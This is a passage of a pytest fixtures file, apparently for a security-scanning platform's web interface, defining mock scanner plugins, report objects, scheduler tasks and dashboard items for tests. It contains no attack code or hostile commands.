version=\"0.0.1.dev1\", additional=None, results=[]),\n        ],\n    )\n\n\n@pytest.fixture\ndef boefje_dns_records():\n    return Boefje(\n        type=\"boefje\",\n        id=\"dns-records\",\n        name=\"DnsRecords\",\n        description=\"Fetch the DNS record(s) of a hostname\",\n        enabled=True,\n        scan_level=SCAN_LEVEL.L1,\n        consumes={Hostname},\n        produces={\"boefje/dns-records\"},\n        boefje_schema={},\n        oci_image=\"ghcr.io/test/image:123\",\n        oci_arguments=[\"-test\", \"-arg\"],\n    )\n\n\n@pytest.fixture\ndef boefje_nmap_tcp():\n    return Boefje(\n        type=\"boefje\",\n        id=\"nmap\",\n        name=\"Nmap TCP\",\n        description=\"Defaults to top 250 TCP ports. Includes service detection.\",\n        enabled=True,\n        scan_level=SCAN_LEVEL.L2,\n        consumes={IPAddressV4, IPAddressV6},\n        produces={\"boefje/nmap\"},\n        boefje_schema={},\n        oci_image=\"ghcr.io/test/image:123\",\n        oci_arguments=[\"-test\", \"-arg\"],\n    )\n\n\n@pytest.fixture\ndef drf_admin_client(create_drf_client, admin_user):\n    client = create_drf_client(admin_user)\n    # We need to set this so that the test client doesn't throw an\n    # exception, but will return error in the API we can test\n    client.raise_request_exception = False\n    return client\n\n\n@pytest.fixture\ndef drf_redteam_client(create_drf_client, redteamuser):\n    client = create_drf_client(redteamuser)\n    # We need to set this so that the test client doesn't throw an\n    # exception, but will return error in the API we can test\n    client.raise_request_exception = False\n    return client\n\n\n@pytest.fixture\ndef get_aggregate_report_ooi():\n    return HydratedReport(\n        scan_profile=EmptyScanProfile(\n            scan_profile_type=\"empty\",\n            reference=Reference(\"Report|6a073ba0-46d3-451c-a7f8-46923c2b841b\"),\n            level=ScanLevel.L0,\n        ),\n        name=\"Aggregate Report\",\n        report_type=\"aggregate-organisation-report\",\n        template=\"aggregate_organisation_report/report.html\",\n        date_generated=datetime(2024, 9, 3, 14, 14, 46, 999999),\n        input_oois=[],\n        organization_code=\"_test\",\n        organization_name=\"Test Organization\",\n        organization_tags=[],\n        data_raw_id=\"250cf43e-bfe2-4249-b493-a12921cb79f6\",\n        observed_at=datetime(2024, 9, 3, 14, 14, 45, 999999),\n        reference_date=datetime(2024, 9, 3, 14, 14, 45, 999999),\n        report_recipe=recipe.reference,\n    )\n\n\n@pytest.fixture\ndef get_aggregate_report_from_bytes():\n    data = {\n        \"systems\": {\n            \"services\": {\n                \"IPAddressV4|internet|134.209.85.72\": {\"hostnames\": [\"Hostname|internet|mispo.es\"], \"services\": []}\n            }\n        },\n        \"services\": {},\n        \"recommendations\": [],\n        \"recommendation_counts\": {},\n        \"open_ports\": {\"134.209.85.72\": {\"ports\": {}, \"hostnames\": [\"mispo.es\"], \"services\": {}}},\n        \"ipv6\": {\"mispo.es\": {\"enabled\": False, \"systems\": []}},\n        \"vulnerabilities\": {\n            \"IPAddressV4|internet|134.209.85.72\": {\n                \"hostnames\": \"(mispo.es)\",\n                \"vulnerabilities\": {},\n                \"summary\": {\"total_findings\": 0, \"total_criticals\": 0, \"terms\": [], \"recommendations\": []},\n                \"title\": \"134.209.85.72\",\n            }\n        },\n        \"basic_security\": {\n            \"rpki\": {},\n            \"system_specific\": {\"Mail\": [], \"Web\": [], \"DNS\": []},\n            \"safe_connections\": {},\n            \"summary\": {},\n        },\n        \"summary\": {\"critical_vulnerabilities\": 0, \"ips_scanned\": 1, \"hostnames_scanned\": 1, \"terms_in_report\": \"\"},\n        \"total_findings\": 0,\n        \"total_systems\": 1,\n        \"total_hostnames\": 1,\n        \"total_systems_basic_security\": 0,\n        \"health\": [\n            {\"service\": \"rocky\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n            {\"service\": \"octopoes\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n            {\n                \"service\": \"xtdb\",\n                \"healthy\": True,\n                \"version\": \"1.24.1\",\n                \"additional\": {\n                    \"version\": \"1.24.1\",\n                    \"revision\": \"1164f9a3c7e36edbc026867945765fd4366c1731\",\n                    \"indexVersion\": 22,\n                    \"consumerState\": None,\n                    \"kvStore\": \"xtdb.rocksdb.RocksKv\",\n                    \"estimateNumKeys\": 36846,\n                    \"size\": 33301692,\n                },\n                \"results\": [],\n            },\n            {\n                \"service\": \"katalogus\",\n                \"healthy\": True,\n                \"version\": \"0.0.1-development\",\n                \"additional\": None,\n                \"results\": [],\n            },\n            {\"service\": \"scheduler\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n            {\"service\": \"bytes\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n        ],\n        \"config_oois\": [],\n        \"input_data\": {\n            \"input_oois\": [\"Hostname|internet|mispo.es\"],\n            \"report_types\": [\n                \"ipv6-report\",\n                \"mail-report\",\n                \"name-server-report\",\n                \"open-ports-report\",\n                \"rpki-report\",\n                \"safe-connections-report\",\n                \"systems-report\",\n                \"vulnerability-report\",\n                \"web-system-report\",\n            ],\n            \"plugins\": {\"required\": [], \"optional\": []},\n        },\n    }\n    return json.dumps(data).encode(\"utf-8\")\n\n\n@pytest.fixture\ndef report_data_ooi_org_a(organization, get_multi_report_data_minvws):\n    return ReportData(\n        scan_profile=EmptyScanProfile(\n            scan_profile_type=\"empty\", reference=Reference(f\"ReportData|{organization.code}\"), level=ScanLevel.L0\n        ),\n        organization_code=organization.code,\n        organization_name=organization.name,\n        organization_tags=[],\n        data=get_multi_report_data_minvws,\n    )\n\n\n@pytest.fixture\ndef report_data_ooi_org_b(organization_b, get_multi_report_data_mispoes):\n    return ReportData(\n        scan_profile=EmptyScanProfile(\n            scan_profile_type=\"empty\", reference=Reference(f\"ReportData|{organization_b.code}\"), level=ScanLevel.L0\n        ),\n        organization_code=organization_b.code,\n        organization_name=organization_b.name,\n        organization_tags=[],\n        data=get_multi_report_data_mispoes,\n    )\n\n\n@pytest.fixture\ndef multi_report_ooi(report_data_ooi_org_a, report_data_ooi_org_b):\n    reports = [\n        create_asset_report(\"test\", \"test\", \"test\", iter([\"7b305f0d-c0a7-4ad5-af1e-31f81fc229c2\"])),\n        create_asset_report(\"test\", \"test\", \"test\", iter([\"7b305f0d-c0a7-4ad5-af1e-31f81fc229c3\"])),\n    ]\n    return HydratedReport(\n        name=\"Sector Report\",\n        report_type=\"multi-organization-report\",\n        template=\"multi_organization_report/report.html\",\n        date_generated=datetime(2024, 10, 18, 14, 14, 46, 999999),\n        input_oois=reports,\n        organization_code=report_data_ooi_org_a.organization_code,\n        organization_name=report_data_ooi_org_a.organization_name,\n        organization_tags=[],\n        data_raw_id=\"bb4d5271-b273-4af4-a25a-83ba0c4fed63\",\n        observed_at=datetime(2024, 10, 18, 14, 14, 45, 999999),\n        reference_date=datetime(2024, 10, 18, 14, 14, 45, 999999),\n        report_recipe=recipe.reference,\n    )\n\n\n@pytest.fixture\ndef report_list():\n    asset_ids = iter(\n        [\n            \"27e8fa60-4675-4c22-b7a7-76152fc520b8\",\n            \"775d62df-edf9-4c19-91cc-2cc1586a8111\",\n            \"6ea4268f-f8c9-4ccd-9f81-efb2bf60b215\",\n            \"fa648efe-7724-41cd-96c0-2c0d48b631bc\",\n            \"d2623e9f-3f56-4c4f-b01c-abf4a6f5794d\",\n            \"ba8e864a-770f-4a18-90d4-d7b8fba054ac\",\n            \"771190cb-a570-4ddf-bf10-2b7cb6d7b852\",\n            \"ef007438-6266-40c5-981b-a59a5e59d2a4\",\n            \"e545a488-de8a-4750-8056-6a3b354d011f\",\n            \"af8c8999-530d-45d5-a8b8-c823ee3c24b7\",\n            \"7b305f0d-c0a7-4ad5-af1e-31f81fc229c2\",\n        ]\n    )\n\n    def asset_report(name, report_type, template):\n        return create_asset_report(name, report_type, template, asset_ids, \"Hostname|internet|minvws.nl\")\n\n    asset_reports = [\n        asset_report(\n            \"Safe Connections Report for minvws.nl\", \"safe-connections-report\", \"safe_connections_report/report.html\"\n        ),\n        asset_report(\"DNS Report for minvws.nl\", \"dns-report\", \"dns_report/report.html\"),\n        asset_report(\"Name Server Report for minvws.nl\", \"name-server-report\", \"name_server_report/report.html\"),\n        asset_report(\"Vulnerability Report for minvws.nl\", \"vulnerability-report\", \"vulnerability_report/report.html\"),\n        asset_report(\"Web System Report for minvws.nl\", \"web-system-report\", \"web_system_report/report.html\"),\n        asset_report(\"Mail Report for minvws.nl\", \"mail-report\", \"mail_report/report.html\"),\n        asset_report(\"System Report for minvws.nl\", \"systems-report\", \"systems_report/report.html\"),\n        asset_report(\"IPv6 Report for minvws.nl\", \"ipv6-report\", \"ipv6_report/report.html\"),\n        asset_report(\"Open Ports Report for minvws.nl\", \"open-ports-report\", \"open_ports_report/report.html\"),\n        asset_report(\"Findings Report for minvws.nl\", \"findings-report\", \"findings_report/report.html\"),\n        asset_report(\"RPKI Report for minvws.nl\", \"rpki-report\", \"rpki_report/report.html\"),\n    ]\n\n    return Paginated(\n        count=3,\n        items=[\n            create_report(\n                \"Concatenated Report for minvws.nl\",\n                \"concatenated-report\",\n                \"report.html\",\n                [\n                    create_asset_report(\n                        \"Findings Report for minvws.nl\",\n                        \"findings-report\",\n                        \"findings_report/report.html\",\n                        iter([\"3300354d-530f-4ecf-8485-e120f43ba3f1\"]),\n                        \"Hostname|internet|minvws.nl\",\n                    )\n                ],\n                iter([\"3300354d-530f-4ecf-8485-e120f43ba3f1\"]),\n            ),\n            create_report(\n                \"Aggregate Report\",\n                \"aggregate-organisation-report\",\n                \"aggregate_organisation_report/report.html\",\n                [],\n                iter([\"7e888ca9-cebc-4d6e-9f2c-5b45fa7101d4\"]),\n            ),\n            create_report(\n                \"Concatenated Report for minvws.nl\",\n                \"concatenated-report\",\n                \"report.html\",\n                asset_reports,\n                iter([\"eb5c1226-7ab0-4e3f-8b41-7ab7016fa3fd\"]),\n            ),\n        ],\n    )\n\n\n@pytest.fixture\ndef get_report_input_data_from_bytes():\n    input_data = {\n        \"input_data\": {\n            \"input_oois\": [\"Hostname|internet|minvws.nl\"],\n            \"report_types\": [\n                \"ipv6-report\",\n                \"mail-report\",\n                \"name-server-report\",\n                \"open-ports-report\",\n                \"rpki-report\",\n                \"safe-connections-report\",\n                \"systems-report\",\n                \"vulnerability-report\",\n                \"web-system-report\",\n            ],\n            \"plugins\": {\n                \"required\": [\n                    \"rpki\",\n                    \"webpage-analysis\",\n                    \"ssl-certificates\",\n                    \"security_txt_downloader\",\n                    \"testssl-sh-ciphers\",\n                    \"dns-records\",\n                    \"dns-sec\",\n                    \"ssl-version\",\n                    \"nmap\",\n                ],\n                \"optional\": [\"masscan\", \"shodan\", \"nmap-ip-range\", \"nmap-udp\", \"nmap-ports\"],\n            },\n        }\n    }\n    return json.dumps(input_data).encode(\"utf-8\")\n\n\n@pytest.fixture\ndef aggregate_report_with_sub_reports():\n    ids = iter(\n        [\n            \"a534b4d5-5dba-4ddc-9b77-970675ae4b1c\",\n            \"0bdea8eb-7ac0-46ef-ad14-ea3b0bfe1030\",\n            \"53d5452c-9e67-42d2-9cb0-3b684d8967a2\",\n            \"a218ca79-47de-4473-a93d-54d14baadd98\",\n            \"3779f5b0-3adf-41c8-9630-8eed8a857ae6\",\n            \"851feeab-7036-48f6-81ef-599467c52457\",\n            \"1e259fce-3cd7-436f-b233-b4ae24a8f11b\",\n            \"50a9e4df-3b69-4ad8-b798-df626162db5a\",\n            \"5faa3364-c8b2-4b9c-8cc8-99d8f19ccf8a\",\n        ]\n    )\n\n    def asset_report(name: str, report_type: str, template: str):\n        return create_asset_report(name, report_type, template, ids, \"Hostname|internet|mispo.es\", \"_rieven\", \"Rieven\")\n\n    aggregate_report = HydratedReport(\n        name=\"Aggregate Report\",\n        report_type=\"aggregate-organisation-report\",\n        template=\"aggregate_organisation_report/report.html\",\n        date_generated=datetime(2024, 11, 21, 10, 7, 7, 441137),\n        input_oois=[\n            asset_report(\"Mail Report\", \"mail-report\", \"mail_report/report.html\"),\n            asset_report(\"IPv6 Report\", \"ipv6-report\", \"ipv6_report/report.html\"),\n            asset_report(\"RPKI Report\", \"rpki-report\", \"rpki_report/report.html\"),\n            asset_report(\"Web System Report\", \"web-system-report\", \"web_system_report/report.html\"),\n            asset_report(\"Open Ports Report\", \"open-ports-report\", \"open_ports_report/report.html\"),\n            asset_report(\"Vulnerability Report\", \"vulnerability-report\", \"vulnerability_report/report.html\"),\n            asset_report(\"System Report\", \"systems-report\", \"systems_report/report.html\"),\n            asset_report(\"Name Server Report\", \"name-server-report\", \"name_server_report/report.html\"),\n        ],\n        organization_code=\"_rieven\",\n        organization_name=\"Rieven\",\n        organization_tags=[],\n        data_raw_id=\"3a362cd7-6348-4e91-8a6f-4cd83f9f6a83\",\n        observed_at=datetime(2024, 11, 21, 10, 7, 7, 441043),\n        reference_date=datetime(2024, 11, 21, 10, 7, 7, 441043),\n        report_recipe=recipe.reference,\n    )\n\n    return Paginated(count=1, items=[aggregate_report])\n\n\n@pytest.fixture\ndef reports_task_list():\n    return PaginatedTasksResponse(\n        count=2,\n        next=None,\n        previous=None,\n        results=[\n            Task(\n                id=UUID(\"7f9d5b00-dbab-45f3-93a6-dd44cc20c359\"),\n                scheduler_id=\"report-_rieven\",\n                schedule_id=\"86032b20-f7ae-4a48-9093-87ec5a56e939\",\n                organisation=\"test\",\n                priority=1738747928,\n                status=TaskStatus.FAILED,\n                type=\"report\",\n                hash=\"8f73ee4346118b7814711eba8ebb13d8\",\n                data=ReportTask(\n                    type=\"report\", organisation_id=\"_rieven\", report_recipe_id=\"3f5c1a46-1969-49b7-b402-4676fb59ca4b\"\n                ),\n                created_at=datetime(2025, 2, 5, 9, 32, 8, 325523),\n                modified_at=datetime(2025, 2, 5, 9, 32, 8, 325526),\n            ),\n            Task(\n                id=UUID(\"9e23611d-36c2-4972-82f0-077bcb1a8941\"),\n                scheduler_id=\"report-_rieven\",\n                schedule_id=\"bd821e6e-6680-4215-8557-e049deeb0175\",\n                organisation=\"test 2\",\n                priority=1738684879,\n                status=TaskStatus.COMPLETED,\n                type=\"report\",\n                hash=\"5fc17aa4a8ff4874203446a106b4d5bb\",\n                data=ReportTask(\n                    type=\"report\", organisation_id=\"_rieven\", report_recipe_id=\"451a676d-91f8-4366-ac24-d1a47205181d\"\n                ),\n                created_at=datetime(2025, 2, 4, 16, 1, 19, 951925),\n                modified_at=datetime(2025, 2, 4, 16, 1, 19, 951927),\n            ),\n        ],\n    )\n\n\n@pytest.fixture\ndef findings_dashboard_item(client_member, client_member_b):\n    # make sure that no dashboards exist to test this particular set\n    Dashboard.objects.all().delete()  # deleting dashboard deletes DashboardItem as well\n\n    recipe_id_a = \"7ebcdb32-e7f2-4c2d-840a-d7b8e6b37616\"\n    recipe_id_b = \"c41bbf9a-7102-4b6b-b256-b3036e106316\"\n\n    dashboard_a = Dashboard.objects.create(name=\"Findings Dashboard\", organization=client_member.organization)\n    dashboard_b = Dashboard.objects.create(name=\"Findings Dashboard\", organization=client_member_b.organization)\n\n    dashboard_item_a = DashboardItem.objects.create(dashboard=dashboard_a, recipe=recipe_id_a, findings_dashboard=True)\n    dashboard_item_b = DashboardItem.objects.create(dashboard=dashboard_b, recipe=recipe_id_b, findings_dashboard=True)\n\n    return [dashboard_item_a, dashboard_item_b]\n\n\n@pytest.fixture\ndef findings_reports(client_member, client_member_b):\n    bytes_raw_id_a = \"62258c3d-89b2-4fde-a2e0-d78715a174e6\"\n    bytes_raw_id_b = \"1b887350-0afb-4786-b587-4323cd8e4180\"\n\n    recipe_id_a = \"7ebcdb32-e7f2-4c2d-840a-d7b8e6b37616\"\n    recipe_id_b = \"c41bbf9a-7102-4b6b-b256-b3036e106316\"\n\n    asset_report_a = create_asset_report(\n        name=\"Findings Report for mispo.es\",\n        report_type=FindingsReport.id,\n        template=FindingsReport.template_path,\n        uuid_iterator=iter([\"a5ccf97b-d4e9-442d-85bf-84e739b63da9s\"]),\n    )\n\n    asset_report_b = create_asset_report(\n        name=\"Findings Report for mispo.es\",\n        report_type=FindingsReport.id,\n        template=FindingsReport.template_path,\n        uuid_iterator=iter([\"a5ccf97b-d4e9-442d-85bf-84e739b63da9l\"]),\n    )\n\n    report_a = HydratedReport(\n        object_type=\"HydratedReport\",\n        scan_profile=None,\n        user_id=None,\n        primary_key=\"Report|9a0fd1f4-ba2b-4800-ade8-7f17f099e179\",\n        name=\"Crisis Room Aggregate Report\",\n        report_type=\"aggregate-organisation-report\",\n        template=\"aggregate_organisation_report/report.html\",\n        date_generated=datetime(2024, 12, 23, 12, 0, 32, 730678),\n        reference_date=datetime(2024, 12, 23, 12, 0, 32, 730678),\n        input_oois=[asset_report_a],\n        report_id=UUID(\"9a0fd1f4-ba2b-4800-ade8-7f17f099e179\"),\n        organization_code=client_member.organization.code,\n        organization_name=client_member.organization.name,\n        organization_tags=[],\n        data_raw_id=bytes_raw_id_a,\n        observed_at=datetime(2024, 12, 23, 12, 0, 32, 53194),\n        parent_report=None,\n        report_recipe=Reference(recipe_id_a),\n        has_parent=False,\n    )\n\n    report_b = HydratedReport(\n        object_type=\"HydratedReport\",\n        scan_profile=None,\n        user_id=None,\n        primary_key=\"Report|2b871ed0-44e5-4375-85af-4a1cf44145f7\",\n        name=\"Crisis Room Aggregate Report\",\n        report_type=\"aggregate-organisation-report\",\n        template=\"aggregate_organisation_report/report.html\",\n        date_generated=datetime(2024, 12, 23, 11, 0, 32, 447950),\n        reference_date=datetime(2024, 12, 23, 11, 0, 32, 447950),\n        input_oois=[asset_report_b],\n        report_id=UUID(\"2b871ed0-44e5-4375-85af-4a1cf44145f7\"),\n        organization_code=client_member_b.organization.code,\n        organization_name=client_member_b.organization.name,\n        organization_tags=[],\n        data_raw_id=bytes_raw_id_b,\n        observed_at=datetime(2024, 12, 23, 11, 0, 31, 602127),\n        parent_report=None,\n        report_recipe=Reference(recipe_id_b),\n        has_parent=False,\n    )\n\n    return {recipe_id_a: report_a, recipe_id_b: report_b}\n\n\n@pytest.fixture\ndef findings_reports_data():\n    bytes_raw_id_a = \"62258c3d-89b2-4fde-a2e0-d78715a174e6\"\n    bytes_raw_id_b = \"1b887350-0afb-4786-b587-4323cd8e4180\"\n\n    report_data_a = {\n        \"systems\": {\"services\": {}},\n        \"services\": {},\n        \"recommendations\": [],\n        \"recommendation_counts\": {},\n        \"open_ports\": {},\n        \"ipv6\": {},\n        \"vulnerabilities\": {},\n        \"findings\": {\n            \"finding_types\": [],\n            \"summary\": {\n                \"total_by_severity_per_finding_type\": {\n                    \"critical\": 0,\n                    \"high\": 0,\n                    \"medium\": 3,\n                    \"low\": 1,\n                    \"recommendation\": 0,\n                    \"pending\": 0,\n                    \"unknown\": 0,\n                },\n                \"total_by_severity\": {\n                    \"critical\": 0,\n                    \"high\": 0,\n                    \"medium\": 4,\n                    \"low\": 3,\n                    \"recommendation\": 0,\n                    \"pending\": 0,\n                    \"unknown\": 0,\n                },\n                \"total_finding_types\": 4,\n                \"total_occurrences\": 7,\n            },\n        },\n        \"basic_security\": {\n            \"rpki\": {},\n            \"system_specific\": {\"Mail\": [], \"Web\": [], \"DNS\": []},\n            \"safe_connections\": {},\n            \"summary\": {},\n        },\n        \"summary\": {\"critical_vulnerabilities\": 0, \"ips_scanned\": 0, \"hostnames_scanned\": 0, \"terms_in_report\": \"\"},\n        \"total_findings\": 0,\n        \"total_systems\": 0,\n        \"total_hostnames\": 0,\n        \"total_systems_basic_security\": 0,\n        \"health\": [\n            {\"service\": \"rocky\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n            {\"service\": \"octopoes\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n            {\n                \"service\": \"xtdb\",\n                \"healthy\": True,\n                \"version\": \"1.24.4\",\n                \"additional\": {\n                    \"version\": \"1.24.4\",\n                    \"revision\": \"b46e92df67699cb25f3b21a61742c79da564b3b0\",\n                    \"indexVersion\": 22,\n                    \"consumerState\": None,\n                    \"kvStore\": \"xtdb.rocksdb.RocksKv\",\n                    \"estimateNumKeys\": 56338,\n                    \"size\": 93781419,\n                },\n                \"results\": [],\n            },\n            {\n                \"service\": \"katalogus\",\n                \"healthy\": True,\n                \"version\": \"0.0.1-development\",\n                \"additional\": None,\n                \"results\": [],\n            },\n            {\"service\": \"scheduler\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n            {\"service\": \"bytes\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n            {\"service\": \"keiko\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n        ],\n        \"config_oois\": [],\n        \"input_data\": {\n            \"input_oois\": [\"Hostname|internet|mispo.es\"],\n            \"report_types\": [\"systems-report\", \"findings-report\"],\n            \"plugins\": {\n                \"required\": [\n                    \"nmap\",\n                    \"webpage-analysis\",\n                    \"ssl-certificates\",\n                    \"nmap-udp\",\n                    \"ssl-version\",\n                    \"testssl-sh-ciphers\",\n                    \"dns-records\",\n                ],\n                \"optional\": [\"leakix\", \"snyk\", \"service_banner\", \"shodan\"],\n            },\n        },\n    }\n\n    report_data_b = {\n        \"systems\": {\"services\": {}},\n        \"services\": {},\n        \"recommendations\": [],\n        \"recommendation_counts\": {},\n        \"open_ports\": {},\n        \"ipv6\": {},\n        \"vulnerabilities\": {},\n        \"findings\": {\n            \"finding_types\": [],\n            \"summary\": {\n                \"total_by_severity_per_finding_type\": {\n                    \"critical\": 1,\n                    \"high\": 2,\n                    \"medium\": 4,\n                    \"low\": 2,\n                    \"recommendation\": 1,\n                    \"pending\": 1,\n                    \"unknown\": 1,\n                },\n                \"total_by_severity\": {\n                    \"critical\": 3,\n                    \"high\": 3,\n                    \"medium\": 5,\n                    \"low\": 3,\n                    \"recommendation\": 1,\n                    \"pending\": 1,\n                    \"unknown\": 1,\n                },\n                \"total_finding_types\": 12,\n                \"total_occurrences\": 17,\n            },\n        },\n        \"basic_security\": {\n            \"rpki\": {},\n            \"system_specific\": {\"Mail\": [], \"Web\": [], \"DNS\": []},\n            \"safe_connections\": {},\n            \"summary\": {},\n        },\n        \"summary\": {\"critical_vulnerabilities\": 0, \"ips_scanned\": 0, \"hostnames_scanned\": 0, \"terms_in_report\": \"\"},\n        \"total_findings\": 0,\n        \"total_systems\": 0,\n        \"total_hostnames\": 0,\n        \"total_systems_basic_security\": 0,\n        \"health\": [\n            {\"service\": \"rocky\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n            {\"service\": \"octopoes\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n            {\n                \"service\": \"xtdb\",\n                \"healthy\": True,\n                \"version\": \"1.24.4\",\n                \"additional\": {\n                    \"version\": \"1.24.4\",\n                    \"revision\": \"b46e92df67699cb25f3b21a61742c79da564b3b0\",\n                    \"indexVersion\": 22,\n                    \"consumerState\": None,\n                    \"kvStore\": \"xtdb.rocksdb.RocksKv\",\n                    \"estimateNumKeys\": 54693,\n                    \"size\": 91850532,\n                },\n                \"results\": [],\n            },\n            {\n                \"service\": \"katalogus\",\n                \"healthy\": True,\n                \"version\": \"0.0.1-development\",\n                \"additional\": None,\n                \"results\": [],\n            },\n            {\"service\": \"scheduler\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n            {\"service\": \"bytes\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n            {\"service\": \"keiko\", \"healthy\": True, \"version\": \"0.0.1.dev1\", \"additional\": None, \"results\": []},\n        ],\n        \"config_oois\": [],\n        \"input_data\": {\n            \"input_oois\": [\"Hostname|internet|mispo.es\"],\n            \"report_types\": [\"systems-report\", \"findings-report\"],\n            \"plugins\": {\n                \"required\": [\n                    \"nmap\",\n                    \"webpage-analysis\",\n                    \"ssl-certificates\",\n                    \"nmap-udp\",\n                    \"ssl-version\",\n                    \"testssl-sh-ciphers\",\n                    \"dns-records\",\n                ],\n                \"optional\": [\"leakix\", \"snyk\", \"service_banner\", \"shodan\"],\n            },\n        },\n    }\n\n    return {bytes_raw_id_a: report_data_a, bytes_raw_id_b: report_data_b}\n\n\n@pytest.fixture\ndef findings_results(mocker, findings_dashboard_item, findings_reports, findings_reports_data):\n    octopoes_client = mocker.patch(\"crisis_room.views.OctopoesAPIConnector\")\n    bytes_client = mocker.patch(\"crisis_room.views.get_bytes_client\")\n\n    octopoes_client().bulk_list_reports.return_value = findings_reports\n    bytes_client().get_raws_all.return_value = findings_reports_data\n\n    return DashboardService().get_dashboard_items(findings_dashboard_item)\n\n\n@pytest.fixture\ndef expected_findings_results(findings_dashboard_item, findings_reports, findings_reports_data):\n    findings_dashboard = []\n\n    for index, data in enumerate(findings_dashboard_item):\n        dashboard_item = DashboardItemView()\n        dashboard_item.item = data\n        report = findings_reports[data.recipe]\n        report_data = findings_reports_data[report.data_raw_id]\n\n        dashboard_item.data = {\"report\": report, \"report_data\": report_data | {\"highest_risk_level\": \"\"}}\n        findings_dashboard.append(dashboard_item)\n\n    return findings_dashboard\n\n\n@pytest.fixture\ndef scheduled_report_recipe():\n    return ReportRecipe(\n        object_type=\"ReportRecipe\",\n        scan_profile=EmptyScanProfile(\n            scan_profile_type=\"empty\",\n            reference=Reference(\"ReportRecipe|3fed7d00-6261-4ad1-b08f-9b91434aa41e\"),\n            level=ScanLevel.L0,\n            user_id=None,\n        ),\n        user_id=None,\n        primary_key=\"ReportRecipe|3fed7d00-6261-4ad1-b08f-9b91434aa41e\",\n        recipe_id=UUID(\"3fed7d00-6261-4ad1-b08f-9b91434aa41e\"),\n        report_name_format=\"${report_type} for ${oois_count} objects\",\n        input_recipe={\"input_oois\": [\"Hostname|internet|mispo.es\"]},\n        report_type=\"concatenated-report\",\n        asset_report_types=[\n            \"dns-report\",\n            \"findings-report\",\n            \"ipv6-report\",\n            \"mail-report\",\n            \"name-server-report\",\n            \"open-ports-report\",\n            \"rpki-report\",\n            \"safe-connections-report\",\n            \"systems-report\",\n            \"vulnerability-report\",\n            \"web-system-report\",\n        ],\n        cron_expression=None,\n    )\n\n\n@pytest.fixture\ndef scheduled_reports_list():\n    return [\n        ScheduleResponse(\n            id=UUID(\"7706ebc1-b24b-44fb-a7b3-9a44d80b2644\"),\n            scheduler_id=\"report\",\n            organisation=\"test\",\n            hash=\"bb5708d2f82e11cc5cda3aef54190f2e\",\n            data={\n                \"type\": \"report\",\n                \"organisation_id\": \"_rieven\",\n                \"report_recipe_id\": \"3fed7d00-6261-4ad1-b08f-9b91434aa41e\",\n            },\n            enabled=True,\n            schedule=None,\n            deadline_at=None,\n            created_at=datetime(2025, 2, 12, 16, 1, 19, 951925),\n            modified_at=datetime(2025, 2, 12, 16, 1, 19, 951925),\n        )\n    ]\n\n\n@pytest.fixture\ndef dashboard_items(redteam_member):\n    # first delete to test that no other dashboard and items exists\n    Dashboard.objects.all().delete()\n\n    dashboard = Dashboard.objects.create(name=\"Test\", organization=redteam_member.organization)\n    dashboard_item_1 = DashboardItem.objects.create(\n        dashboard=dashboard,\n        name=\"URLs\",\n        source=\"object_list\",\n        query='{\"observed_at\":\"2015-06-06\", \"ooi_type\": [\"URL\"], \"clearance_level\": [], \"clearance_type\": [],'\n        '\"search\": \"\", \"order_by\": \"object_type\", \"sorting_order\": \"asc\", \"limit\": 20}',\n        settings={\n            \"size\": \"1\",\n            \"columns\": {\n                \"object\": \"Object\",\n                \"object_type\": \"Type\",\n                \"clearance_type\": \"Clearance type\",\n                \"clearance_level\": \"Clearance level\",\n            },\n        },\n        display_in_dashboard=True,\n    )\n    dashboard_item_2 = DashboardItem.objects.create(\n        dashboard=dashboard,\n        name=\"Hostnames\",\n        source=\"object_list\",\n        query='{\"observed_at\":\"2015-06-06\", \"ooi_type\": [\"Hostname\"], \"clearance_level\": [], \"clearance_type\": [],'\n        '\"search\": \"\", \"order_by\": \"object_type\", \"sorting_order\": \"asc\", \"limit\": 20}',\n        settings={\n            \"size\": \"1\",\n            \"columns\": {\n                \"object\": \"Object\",\n                \"object_type\": \"Type\",\n                \"clearance_type\": \"Clearance type\",\n                \"clearance_level\": \"Clearance level\",\n            },\n        },\n        display_in_dashboard=True,\n    )\n    dashboard_item_3 = DashboardItem.objects.create(\n        dashboard=dashboard,\n        name=\"IPs\",\n        source=\"object_list\",\n        query='{\"observed_at\":\"2015-06-06\", \"ooi_type\": [\"IPAddress\"], \"clearance_level\": [], \"clearance_type\": [],'\n        '\"search\": \"\", \"order_by\": \"object_type\", \"sorting_order\": \"asc\", \"limit\": 20}',\n        settings={\n            \"size\": \"1\",\n            \"columns\": {\n                \"object\": \"Object\",\n                \"object_type\": \"Type\",\n                \"clearance_type\": \"Clearance type\",\n                \"clearance_level\": \"Clearance level\",\n            },\n        },\n        display_in_dashboard=True,\n    )\n    dashboard_item_4 = DashboardItem.objects.create(\n        dashboard=dashboard,\n        name=\"Networks\",\n        source=\"object_list\",\n        query='{\"observed_at\":\"2015-06-06\", \"ooi_type\": [\"Network\"], \"clearance_level\": [], \"clearance_type\": [],'\n        '\"search\": \"\", \"order_by\": \"object_type\", \"sorting_order\": \"asc\", \"limit\": 20}',\n        settings={\n            \"size\": \"1\",\n            \"columns\": {\n                \"object\": \"Object\",\n                \"object_type\": \"Type\",\n                \"clearance_type\": \"Clearance type\",\n                \"clearance_level\": \"Clearance level\",\n            },\n        },\n        display_in_dashboard=True,\n    )\n    return [dashboard_item_1, dashboard_item_2, dashboard_item_3, dashboard_item_4]\n\n\n@pytest.fixture\ndef dashboard_items_from_findings_list(redteam_member):\n    # first delete to test that no other dashboard and items exists\n    Dashboard.objects.all().delete()\n\n    dashboard = 